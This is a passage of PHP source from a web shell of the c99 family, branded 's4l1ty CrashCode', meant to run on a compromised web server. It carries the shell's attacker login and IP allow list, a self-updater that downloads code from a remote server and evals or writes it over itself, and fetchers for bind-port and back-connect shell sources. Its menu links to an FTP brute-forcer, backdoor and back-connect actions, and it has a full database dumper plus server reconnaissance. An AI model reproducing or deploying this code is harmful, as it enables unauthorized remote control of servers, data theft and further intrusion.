    array("User accounts", "net user"),  
    array("Show computers", "net view"),  
    );  
}  
//PHP Filesystem Functions, s4l1ty_ 
$phpfsaliases = array(  
    array("Read File", "read"),  
    array("Write File (PHP5)", "write"),  
    array("Copy", "copy"),  
    array("Rename/Move", "rename"),  
    array("Delete", "delete"),  
    array("Make Dir","mkdir"),  
    array("-----", ""),  
    array("Download", "download"),  
    array("Download (Binary Safe)", "downloadbin"),  
    array("Change Perm (0755)", "chmod"),  
    array("Find Writable Dir", "fwritabledir"),  
    array("Find Pathname Pattern", "glob"),  
);  

//Quick launch  
$quicklaunch1 = array(  
    array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl),  
    array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"),  
    array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"),  
    array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),  
    array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"),  
    array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d")  
);  
$quicklaunch2 = array(  
    array("Enumerate",$enumerate),  
    array("Security Info",$surl."act=security&d=%d"),  
    array("Processes",$surl."act=processes&d=%d"),  
    array("MySQL",$surl."act=sql&d=%d"),  
    array("PHP-Code",$surl."act=eval&d=%d"),  
    array("Encoder",$surl."act=encoder&d=%d"),  
    array("Mailer",$surl."act=yxmailer"),  
    array("milw0rm it!",$millink),  
    array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),  
    array("Word-Lists","http://darkc0de.com/wordlists/"),  
    array("Toolz",$surl."act=tools&d=%d"),  
    array("Self-Kill",$surl."act=selfremove"),  
    array("Feedback",$surl."act=feedback"),  
    array("Update",$surl."act=update"),  
    array("About",$surl."act=about")  
);  

if (!$win) {  
$quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=%d");  
$quicklaunch2[] = array("Backdoor",$surl."act=shbd");  
$quicklaunch2[] = array("Back-Connect",$surl."act=backc");  
}  

//Highlight-code colors  
$highlight_background = "#C0C0C0";  
$highlight_bg = "#FFFFFF";  
$highlight_comment = "#6A6A6A";  
$highlight_default = "#0000BB";  
$highlight_html = "#1300FF";  
$highlight_keyword = "#007700";  
$highlight_string = "#000000";  

@$f = $_REQUEST["f"];  
@extract($_REQUEST["c99shcook"]);  
//END OF CONFIGURATIONS  

//STOP EDITING!  

//Authentication  
@set_time_limit(0);  
$tmp = array();  
foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\*",".*",preg_quote($v)); }  
$s = "!^(".implode("|",$tmp).")$!i";  
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {  
  exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");  
}  
if (!empty($login)) {  
  if (empty($md5_pass)) {$md5_pass = md5($pass);}  
  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {  
    header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\"");  
    header("HTTP/1.0 401 Unauthorized");  
    exit($accessdeniedmess);  
  }  
}  
if ($act != "img") {  
  $lastdir = realpath(".");  
  chdir($curdir);  
  if ($selfwrite or $updatenow) {  
    @ob_clean();  
    c99sh_getupdate($selfwrite,1);  
    exit;  
  }  
  $sess_data = unserialize($_COOKIE["$sess_cookie"]);  
  if (!is_array($sess_data)) {$sess_data = array();}  
  if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}  
  if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}  
  if (!function_exists("c99getsource")) {  
    function c99getsource($fn) {  
      global $c99sh_sourcesurl;  
      $array = array(  
        "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",  
        "c99sh_bindport.c" => "c99sh_bindport_c.txt",  
        "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",  
        "c99sh_backconn.c" => "c99sh_backconn_c.txt",  
        "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",  
        "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",  
      );  
      $name = $array[$fn];  
      if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}  
      else {return FALSE;}  
    }  
  }  
  if (!function_exists("c99sh_getupdate")) {  
    function c99sh_getupdate($update = TRUE) {  
      $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");  
      $data = @file_get_contents($url);  
      if (!$data) {return "Can't connect to update-server!";}  
      else {  
        $data = ltrim($data);  
        $string = substr($data,3,ord($data{2}));  
        if ($data{0} == "" and $data{1} == "") {return "Error: ".$string; return FALSE;}  
        if ($data{0} == "" and $data{1} == "") {return "You are using latest version!";}  
        if ($data{0} == "" and $data{1} == "") {  
          $string = explode("|",$string);  
          if ($update) {  
            $confvars = array();  
            $sourceurl = $string[0];  
            $source = file_get_contents($sourceurl);  
            if (!$source) {return "Can't fetch update!";}  
            else {  
              $fp = fopen(__FILE__,"w");  
              if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download yx29shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}  
              else {  
                fwrite($fp,$source);  
                fclose($fp);  
                return "Thanks! Update completed.";  
              }  
            }  
          }  
          else {return "New version are available: ".$string[1];}  
        }  
        elseif ($data{0} == "" and $data{1} == "") {  
          eval($string);  
          return 1;  
        }  
        else {return "Error in protocol: segmentation failed! (".$data.") ";}  
      }  
    }  
  }  
  if (!function_exists("c99_buff_prepare")) {  
    function c99_buff_prepare() {  
      global $sess_data;  
      global $act;  
      foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}  
      foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}  
      $sess_data["copy"] = array_unique($sess_data["copy"]);  
      $sess_data["cut"] = array_unique($sess_data["cut"]);  
      sort($sess_data["copy"]);  
      sort($sess_data["cut"]);  
      if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}  
      else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}  
    }  
  }  
  c99_buff_prepare();  
  if (!function_exists("c99_sess_put")) {  
    function c99_sess_put($data) {  
      global $sess_cookie;  
      global $sess_data;  
      c99_buff_prepare();  
      $sess_data = $data;  
      $data = serialize($data);  
      setcookie($sess_cookie,$data);  
    }  
  }  
  foreach (array("sort","sql_sort") as $v) {  
    if (!empty($_GET[$v])) {$$v = $_GET[$v];}  
    if (!empty($_POST[$v])) {$$v = $_POST[$v];}  
  }  
  if ($sort_save) {  
    if (!empty($sort)) {setcookie("sort",$sort);}  
    if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}  
  }  
  if (!function_exists("str2mini")) {  
    function str2mini($content,$len) {  
      if (strlen($content) > $len) {  
        $len = ceil($len/2) - 2;  
        return substr($content, 0,$len)."...".substr($content,-$len);  
      } else {return $content;}  
    }  
  }  
  if (!function_exists("view_size")) {  
    function view_size($size) {  
      if (!is_numeric($size)) { return FALSE; }  
      else {  
        if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}  
        elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}  
        elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}  
        else {$size = $size . " B";}  
        return $size;  
      }  
    }  
  }  
  if (!function_exists("fs_copy_dir")) {  
    function fs_copy_dir($d,$t) {  
      $d = str_replace("\",DIRECTORY_SEPARATOR,$d);  
      if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}  
      $h = opendir($d);  
      while (($o = readdir($h)) !== FALSE) {  
        if (($o != ".") and ($o != "..")) {  
          if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}  
          else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}  
          if (!$ret) {return $ret;}  
        }  
      }  
      closedir($h);  
      return TRUE;  
    }  
  }  
  if (!function_exists("fs_copy_obj")) {  
    function fs_copy_obj($d,$t) {  
      $d = str_replace("\",DIRECTORY_SEPARATOR,$d);  
      $t = str_replace("\",DIRECTORY_SEPARATOR,$t);  
      if (!is_dir(dirname($t))) {mkdir(dirname($t));}  
      if (is_dir($d)) {  
        if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}  
        if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}  
        return fs_copy_dir($d,$t);  
      }  
      elseif (is_file($d)) { return copy($d,$t); }  
      else { return FALSE; }  
    }  
  }  
  if (!function_exists("fs_move_dir")) {  
    function fs_move_dir($d,$t) {  
      $h = opendir($d);  
      if (!is_dir($t)) {mkdir($t);}  
      while (($o = readdir($h)) !== FALSE) {  
        if (($o != ".") and ($o != "..")) {  
          $ret = TRUE;  
          if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}  
          else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}  
          if (!$ret) {return $ret;}  
        }  
      }  
      closedir($h);  
      return TRUE;  
    }  
  }  
  if (!function_exists("fs_move_obj")) {  
    function fs_move_obj($d,$t) {  
      $d = str_replace("\",DIRECTORY_SEPARATOR,$d);  
      $t = str_replace("\",DIRECTORY_SEPARATOR,$t);  
      if (is_dir($d)) {  
        if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}  
        if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}  
        return fs_move_dir($d,$t);  
      }  
      elseif (is_file($d)) {  
        if(copy($d,$t)) {return unlink($d);}  
        else {unlink($t); return FALSE;}  
      }  
      else {return FALSE;}  
    }  
  }  
  if (!function_exists("fs_rmdir")) {  
    function fs_rmdir($d) {  
      $h = opendir($d);  
      while (($o = readdir($h)) !== FALSE) {  
        if (($o != ".") and ($o != "..")) {  
          if (!is_dir($d.$o)) {unlink($d.$o);}  
          else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}  
        }  
      }  
      closedir($h);  
      rmdir($d);  
      return !is_dir($d);  
    }  
  }  
  if (!function_exists("fs_rmobj")) {  
    function fs_rmobj($o) {  
      $o = str_replace("\",DIRECTORY_SEPARATOR,$o);  
      if (is_dir($o)) {  
        if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}  
        return fs_rmdir($o);  
      }  
      elseif (is_file($o)) {return unlink($o);}  
      else {return FALSE;}  
    }  
  }  
  if (!function_exists("tabsort")) {  
    function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}  
  }  
  if (!function_exists("view_perms")) {  
    function view_perms($mode) {  
      if (($mode & 0xC000) === 0xC000) {$type = "s";}  
      elseif (($mode & 0x4000) === 0x4000) {$type = "d";}  
      elseif (($mode & 0xA000) === 0xA000) {$type = "l";}  
      elseif (($mode & 0x8000) === 0x8000) {$type = "-";}  
      elseif (($mode & 0x6000) === 0x6000) {$type = "b";}  
      elseif (($mode & 0x2000) === 0x2000) {$type = "c";}  
      elseif (($mode & 0x1000) === 0x1000) {$type = "p";}  
      else {$type = "?";}  
      $owner["read"] = ($mode & 00400)?"r":"-";  
      $owner["write"] = ($mode & 00200)?"w":"-";  
      $owner["execute"] = ($mode & 00100)?"x":"-";  
      $group["read"] = ($mode & 00040)?"r":"-";  
      $group["write"] = ($mode & 00020)?"w":"-";  
      $group["execute"] = ($mode & 00010)?"x":"-";  
      $world["read"] = ($mode & 00004)?"r":"-";  
      $world["write"] = ($mode & 00002)? "w":"-";  
      $world["execute"] = ($mode & 00001)?"x":"-";  
      if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}  
      if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}  
      if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}  
      return $type.join("",$owner).join("",$group).join("",$world);  
    }  
  }  
  if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}  
  if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}  
  if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}  
  if (!function_exists("parse_perms")) {  
    function parse_perms($mode) {  
      if (($mode & 0xC000) === 0xC000) {$t = "s";}  
      elseif (($mode & 0x4000) === 0x4000) {$t = "d";}  
      elseif (($mode & 0xA000) === 0xA000) {$t = "l";}  
      elseif (($mode & 0x8000) === 0x8000) {$t = "-";}  
      elseif (($mode & 0x6000) === 0x6000) {$t = "b";}  
      elseif (($mode & 0x2000) === 0x2000) {$t = "c";}  
      elseif (($mode & 0x1000) === 0x1000) {$t = "p";}  
      else {$t = "?";}  
      $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;  
      $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;  
      $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;  
      return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);  
    }  
  }  
  if (!function_exists("parsesort")) {  
    function parsesort($sort) {  
      $one = intval($sort);  
      $second = substr($sort,-1);  
      if ($second != "d") {$second = "a";}  
      return array($one,$second);  
    }  
  }  
  if (!function_exists("view_perms_color")) {  
    function view_perms_color($o) {  
      if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}  
      elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}  
      else {return "<font color=green>".view_perms(fileperms($o))."</font>";}  
    }  
  }  
  if (!function_exists("mysql_dump")) {  
    function mysql_dump($set) {  
      global $sh_ver;  
      $sock = $set["sock"];  
      $db = $set["db"];  
      $print = $set["print"];  
      $nl2br = $set["nl2br"];  
      $file = $set["file"];  
      $add_drop = $set["add_drop"];  
      $tabs = $set["tabs"];  
      $onlytabs = $set["onlytabs"];  
      $ret = array();  
      $ret["err"] = array();  
      if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}  
      if (empty($db)) {$db = "db";}  
      if (empty($print)) {$print = 0;}  
      if (empty($nl2br)) {$nl2br = 0;}  
      if (empty($add_drop)) {$add_drop = TRUE;}  
      if (empty($file)) {  
        $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";  
      }  
      if (!is_array($tabs)) {$tabs = array();}  
      if (empty($add_drop)) {$add_drop = TRUE;}  
      if (sizeof($tabs) == 0) {  
        //Retrieve tables-list  
        $res = mysql_query("SHOW TABLES FROM ".$db, $sock);  
        if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}  
      }  
      $out = "  
      # Dumped by ".$sh_name."  
      #  
      # Host settings:  
      # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."  
      # Date: ".date("d.m.Y H:i:s")."  
      # DB: \"".$db."\"  
      #---------------------------------------------------------";  
      $c = count($onlytabs);  
      foreach($tabs as $tab) {  
        if ((in_array($tab,$onlytabs)) or (!$c)) {  
          if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
";}  
          //Receieve query for create table structure  
          $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);  
          if (!$res) {$ret["err"][] = mysql_smarterror();}  
          else {  
            $row = mysql_fetch_row($res);  
            $out .= $row["1"].";

";  
            //Receieve table variables  
            $res = mysql_query("SELECT * FROM `$tab`", $sock);  
            if (mysql_num_rows($res) > 0) {  
              while ($row = mysql_fetch_assoc($res)) {  
                $keys = implode("`, `", array_keys($row));  
                $values = array_values($row);  
                foreach($values as $k=>$v) {$values[$k] = addslashes($v);}  
                $values = implode("', '", $values);  
                $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');
";  
                $out .= $sql;  
              }  
            }  
          }  
        }  
      }  
      $out .= "#---------------------------------------------------------------------------------

";  
      if ($file) {  
        $fp = fopen($file, "w");  
        if (!$fp) {$ret["err"][] = 2;}  
        else {  
          fwrite ($fp, $out);  
          fclose ($fp);  
        }  
      }  
      if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}  
      return $out;  
    }  
  }  
  if (!function_exists("mysql_buildwhere")) {  
    function mysql_buildwhere($array,$sep=" and",$functs=array()) {  
      if (!is_array($array)) {$array = array();}  
      $result = "";  
      foreach($array as $k=>$v) {  
        $value = "";  
        if (!empty($functs[$k])) {$value .= $functs[$k]."(";}  
        $value .= "'".addslashes($v)."'";  
        if (!empty($functs[$k])) {$value .= ")";}  
        $result .= "`".$k."` = ".$value.$sep;  
      }  
      $result = substr($result,0,strlen($result)-strlen($sep));  
      return $result;  
    }  
  }  
  if (!function_exists("mysql_fetch_all")) {  
    function mysql_fetch_all($query,$sock) {  
      if ($sock) {$result = mysql_query($query,$sock);}  
      else {$result = mysql_query($query);}  
      $array = array();  
      while ($row = mysql_fetch_array($result)) {$array[] = $row;}  
      mysql_free_result($result);  
      return $array;  
    }  
  }  
  if (!function_exists("mysql_smarterror")) {  
    function mysql_smarterror($type,$sock) {  
      if ($sock) {$error = mysql_error($sock);}  
      else {$error = mysql_error();}  
      $error = htmlspecialchars($error);  
      return $error;  
    }  
  }  
  if (!function_exists("mysql_query_form")) {  
    function mysql_query_form() {  
      global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;  
      if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}  
      if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}  
      if ((!$submit) or ($sql_act)) {  
        echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";  
        if ($tbl_struct) {  
          echo "<td valign=\"top\"><b>Fields:</b><br>";  
          foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}  
          echo "</td></tr></table>";  
        }  
      }  
      if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}  
    }  
  }  
  if (!function_exists("mysql_create_db")) {  
    function mysql_create_db($db,$sock="") {  
      $sql = "CREATE DATABASE `".addslashes($db)."`;";  
      if ($sock) {return mysql_query($sql,$sock);}  
      else {return mysql_query($sql);}  
    }  
  }  
  if (!function_exists("mysql_query_parse")) {  
    function mysql_query_parse($query) {  
      $query = trim($query);  
      $arr = explode (" ",$query);  
      $types = array(  
        "SELECT"=>array(3,1),  
        "SHOW"=>array(2,1),  
        "DELETE"=>array(1),  
        "DROP"=>array(1)  
      );  
      $result = array();  
      $op = strtoupper($arr[0]);  
      if (is_array($types[$op])) {  
        $result["propertions"] = $types[$op];  
        $result["query"]  = $query;  
        if ($types[$op] == 2) {  
          foreach($arr as $k=>$v) {  
            if (strtoupper($v) == "LIMIT") {  
              $result["limit"] = $arr[$k+1];  
              $result["limit"] = explode(",",$result["limit"]);  
              if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}  
              unset($arr[$k],$arr[$k+1]);  
            }  
          }  
        }  
      }  
      else {return FALSE;}  
    }  
  }  
  if (!function_exists("c99fsearch")) {  
    function c99fsearch($d) {  
      global $found;  
      global $found_d;  
      global $found_f;  
      global $search_i_f;  
      global $search_i_d;  
      global $a;  
      if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}  
      $h = opendir($d);  
      while (($f = readdir($h)) !== FALSE) {  
        if($f != "." && $f != "..") {  
          $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));  
          if (is_dir($d.$f)) {  
            $search_i_d++;  
            if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}  
            if (!is_link($d.$f)) {c99fsearch($d.$f);}  
          }  
          else {  
            $search_i_f++;  
            if ($bool) {  
              if (!empty($a["text"])) {  
                $r = @file_get_contents($d.$f);  
                if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}  
                if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}  
                if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}  
                else {$bool = strpos(" ".$r,$a["text"],1);}  
                if ($a["text_not"]) {$bool = !$bool;}  
                if ($bool) {$found[] = $d.$f; $found_f++;}  
              }  
              else {$found[] = $d.$f; $found_f++;}  
            }  
          }  
        }  
      }  
      closedir($h);  
    }  
  }  
  if ($act == "gofile") {  
    if (is_dir($f)) { $act = "ls"; $d = $f; }  
    else { $act = "f"; $d = dirname($f); $f = basename($f); }  
  }  
  //Sending Headers  
  @ob_start();  
  @ob_implicit_flush(0);  
  function onphpshutdown() {  
    global $gzipencode,$ft;  
    if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {  
      $v = @ob_get_contents();  
      @ob_end_clean();  
      @ob_start("ob_gzHandler");  
      echo $v;  
      @ob_end_flush();  
    }  
  }  
  function c99shexit() {  
    onphpshutdown();  
    exit;  
  }  
  header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");  
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");  
  header("Cache-Control: no-store, no-cache, must-revalidate");  
  header("Cache-Control: post-check=0, pre-check=0", FALSE);  
  header("Pragma: no-cache");  
  //Setting Temporary Dir  
  if (empty($tmpdir)) {  
    $tmpdir = ini_get("upload_tmp_dir");  
    if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}  
  }  
  $tmpdir = realpath($tmpdir);  
  $tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);  
  if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}  
  if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}  
  else {$tmpdir_logs = realpath($tmpdir_logs);}  
  //Getting Status  
  function showstat($stat) {  
    if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }  
    else { return "<font color=#FF9900><b>OFF</b></font>"; }  
  }  
  function testperl() {  
    if (ex('perl -h')) { return showstat("on"); }  
    else { return showstat("off"); }  
  }  
  function testfetch() {  
    if(ex('fetch --help')) { return showstat("on"); }  
    else { return showstat("off"); }  
  }  
  function testwget() {  
    if (ex('wget --help')) { return showstat("on"); }  
    else { return showstat("off"); }  
  }  
  function testoracle() {  
    if (function_exists('ocilogon')) { return showstat("on"); }  
    else { return showstat("off"); }  
  }  
  function testpostgresql() {  
    if (function_exists('pg_connect')) { return showstat("on"); }  
    else { return showstat("off"); }  
  }  
  function testmssql() {  
    if (function_exists('mssql_connect')) { return showstat("on"); }  
    else { return showstat("off"); }  
  }  
  function testcurl() {  
    if (function_exists('curl_version')) { return showstat("on"); }  
    else { return showstat("off"); }  
  }  
  function testmysql() {  
    if (function_exists('mysql_connect')) { return showstat("on"); }  
    else { return showstat("off"); }  
  }  
  function showdisablefunctions() {  
    if ($disablefunc=@ini_get("disable_functions")){ return "<font color=#FF9900><b>".$disablefunc."</b></font>"; }  
    else { return "<font color=#00FF00><b>NONE</b></b></font>"; }  
  }  
  //Getting Safe Mode Status  
  if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {  
    $safemode = TRUE;  
    $hsafemode = "<font color=#3366FF><b>SAFE MODE is ON (Secure)</b></font>";  
  }  
  else {  
    $safemode = FALSE;  
    $hsafemode = "<font color=#FF9900><b>SAFE MODE is OFF (Not Secure)</b></font>";  
  }  
  $v = @ini_get("open_basedir");  
  if ($v or strtolower($v) == "on") {  
    $openbasedir = TRUE;  
    $hopenbasedir = "<font color=red>".$v."</font>";  
  }  
  else {  
    $openbasedir = FALSE;  
    $hopenbasedir = "<font color=green>OFF (not secure)</font>";  
  }  
  $sort = htmlspecialchars($sort);  
  if (empty($sort)) {$sort = $sort_default;}  
  $sort[1] = strtolower($sort[1]);  
  $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");  
  if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}  
  $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));  
  @ini_set("highlight.bg",$highlight_bg);  
  @ini_set("highlight.comment",$highlight_comment);  
  @ini_set("highlight.default",$highlight_default);  
  @ini_set("highlight.html",$highlight_html);  
  @ini_set("highlight.keyword",$highlight_keyword);  
  @ini_set("highlight.string",$highlight_string);  
  if (!is_array($actbox)) { $actbox = array(); }  
  $dspact = $act = htmlspecialchars($act);  
  $disp_fullpath = $ls_arr = $notls = null;  
  $ud = urlencode($d);  
  //Directory  
  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);  
  if (empty($d)) {$d = realpath(".");}  
  elseif(realpath($d)) {$d = realpath($d);}  
  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);  
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}  
  $d = str_replace("\","\",$d);  
  $dispd = htmlspecialchars($d);  
/***** HTML START *****/  
echo $html_start;  
echo "<div class=barheader2><h3>$sh_name</h3>--==[s4l1ty CrashCode]==--</div>
";  
echo "<table id=pagebar><tr><td width=50%><p>".  
     "Software : ".$DISP_SERVER_SOFTWARE ." - <a href=".$surl."act=phpini>php.ini</a><br>".  
     "$hsafemode<br>".  
     "OS : ".php_uname()."<br>";  
if (!$win) { echo "User ID : ".myshellexec("id"); }  
else { echo "User : " . get_current_user(); }  
echo "</p></td>".  
     "<td width=50%><p>Server IP : <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".  
     "Your IP : <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a><br>";  
if($win){echo "Drives : ".disp_drives($d,$surl)."<br>";}  
echo "Freespace : ".disp_freespace($d);  
echo "</p></td></tr>";  
echo "<tr><td colspan=2><p>";  
echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql().  
     " cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";  
echo "Disabled Functions: ".showdisablefunctions();  
echo "</p></td></tr>";  
echo "<tr><td colspan=2 id=mainmenu>";  
if (count($quicklaunch2) > 0) {  
  foreach($quicklaunch2 as $item) {  
    $item[1] = str_replace("%d",urlencode($d),$item[1]);  
    $item[1] = str_replace("%sort",$sort,$item[1]);  
    $v = realpath($d."..");  
    if (empty($v)) {  
      $a = explode(DIRECTORY_SEPARATOR,$d);  
      unset($a[count($a)-2]);  
      $v = join(DIRECTORY_SEPARATOR,$a);  
    }  
    $item[1] = str_replace("%upd",urlencode($v),$item[1]);  
    echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";  
  }  
}  
echo "</td><tr><td colspan=2 id=mainmenu>";  
if (count($quicklaunch1) > 0) {  
  foreach($quicklaunch1 as $item) {  
    $item[1] = str_replace("%d",urlencode($d),$item[1]);  
    $item[1] = str_replace("%sort",$sort,$item[1]);  
    $v = realpath($d."..");  
    if (empty($v)) {  
      $a = explode(DIRECTORY_SEPARATOR,$d);  
      unset($a[count($a)-2]);  
      $v = join(DIRECTORY_SEPARATOR,$a);  
    }  
    $item[1] = str_replace("%upd",urlencode($v),$item[1]);  
    echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";  
  }  
}  
echo "</td></tr><tr><td colspan=2>";  
